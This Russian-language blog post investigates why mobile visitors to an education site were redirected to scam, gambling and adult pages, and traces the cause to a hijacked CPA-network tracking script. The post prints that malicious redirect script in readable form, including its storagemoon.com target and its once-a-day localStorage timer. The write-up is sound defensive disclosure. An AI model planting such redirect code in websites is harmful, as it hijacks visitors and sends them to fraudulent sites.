Расследование: куда ваш сайт редиректит пользователей, а вы об этом даже не подозреваете

в 11:03, , рубрики: cpa, ElonLeads, безопасность, информационная безопасность, Разработка веб-сайтов, разработка мобильных приложений, уязвимости, метки:

image

Добрый день!

Меня зовут Максим и я директор по продуктам. Эта история началась с того, что однажды я зашел с мобильного телефона на наш сайт и, к своему большому удивлению, был перенаправлен на сайт какой-то интернет-рулетки. Попробовал зайти еще раз – проблема не повторяется, подумал что глюк. Попросил коллег попробовать зайти с мобильного телефона – и волосы встали дыбом. Один «стал миллионным посетителем и выиграл машину», второй – «получил подарочный депозит на форекс», третий был обрадован «ваучером на 50 000 рублей», а многие вообще попали на сайты с нескромно одетыми женщинами, делающими всякое. Для тех кто задумался о том, что может быть причиной, подсказка – сайт не взламывали. Вредоносный код мы добавили сами, пользуясь одним популярным маркетинговым инструментом. Расследование под катом.

Проблема

Спонтанные редиректы на сторонние сайты с сомнительным контентом при заходе на наш сайт с мобильных устройств.

Подозрения

  • Партнерский js-код
  • Встраивание со стороны интернет-провайдеров (парсинг и изменение трафика)
  • Проблемы с телефоном, например вирус

Расследование

Проблема воспроизводилась на разных устройствах, в том числе на эмуляторе, а значит дело не в телефоне. Также редирект повторялся у всех операторов и на wi-fi. Значит дело в партнерском коде.

При помощи Chrome DevTools мы эмулировали мобильное устройство и стали пытаться воспроизвести редирект. Поймали! В сетевых логах нашлась уйма странных подгруженных ресурсов. Проверить их содержимое не удалось – при переходе браузер сохраняет пути к файлам, но не их содержимое. Остался только первый переход – storagemoon.com – агрегатор, который выкидывал через цепь редиректов на сомнительные сайты.

Ладно, тогда мы пойдём другим путем.

В консоли браузера вставляем отладочный код:

window.addEventListener("beforeunload", function() { debugger; }, false)

Он отрабатывает при начале перехода на новую страницу. Далее стали заходить на Фоксфорд, вычищая кэш. В очередной раз снова повезло – переход инициировал скрипт по адресу edmp.ru/pix/as_551.js.

Пруф:

image

Сам скрипт затягивался из партнерского кода ElonLeads.

Справедливости ради, с ElonLeads мы уже не работаем несколько месяцев, но после отключения не убрали код ретаргетинга.

Разбор работы этого скрипта для мобильных устройств (скрипт по этому адресу с десктопа выглядит иначе):

При первой загрузке скрипта пользователя перенаправляет по адресу storagemoon.com. Кроме этого, в localStorage записывается под ключом ”MenuIdentifier” следующее время редиректа, а именно ровно через сутки. В течение суток скрипт будет вести себя тихо и никому не мешать.

Однако на бекенде тоже есть какая-то логика. Потому что данный скрипт подгружается только на мобильных, и не всегда в первый раз.
Возможно, каждому 10-му, например, или через какое-то время. Возможно, запоминается IP. Иначе должен быть редирект сразу после очистки localStorage.

Сам код скрипта в читаемом виде:

function() {
    function t() {
        return !!localStorage.getItem(a)
    }

    function e() {
        o(), parent.top.window.location.href = c
    }

    function o() {
        var t = r + i;
        localStorage.setItem(a, t)
    }

    function n() {
        if (t()) {
            var o = localStorage.getItem(a);
            r > o && e()
        } else e()
    }
    var a = "MenuIdentifier",
        r = Math.floor((new Date).getTime() / 1e3),
        c = "http://storagemoon.com",
        i = 86400;
    n()
}();

В дополнение, можно заметить по истории whois, что домен edmp.ru, с которого загружается скрипт, уводящий пользователя в неведомые дали, поменял владельца с ELONLID, LLC на Private Person. Видимо, тогда и начались фокусы.

И, в заключение, партнерский код ElonLeads, затягивающий именно этот edmp.ru/pix/as_551.js:

<script  defer="defer" id="elpix">
  try {
  
  (function(){
        window.elon = {
            shop: 4,
            user: {{user_id}}
        };
        var script = document.getElementById('elpix'), as_name = 'as_551', as = document.createElement('script');

Что произошло (на наш взляд)

ElonLeads, CPA сеть, счётчики которой стояли на тысячах сайтов, потеряла (продала?) доступ к домену edmp.ru. С этого домена тянулся js скрипт, который веб-мастера устанавливали на сайт, чтобы присоединиться к CPA сети. Злоумышленники смогли подменить скрипт и продолжают зарабатывать деньги на редиректах на сомнительные сайты. Были ли они в сговоре с ElonLeads – неизвестно. Однако своих партнёров ElonLeads никак не предупредила о смене кода счётчиков. Поэтому, возможно, и с вашего сайта тоже идут редиректы на интернет рулетки и прочий развод.

Надеюсь, эта статья поможет тем, кого в данный момент также обманывают CPA-сети.

В расследовании участвовали: obdolbacca, tauron, gremglee

Автор: madreval

Источник

* - обязательные к заполнению поля


https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js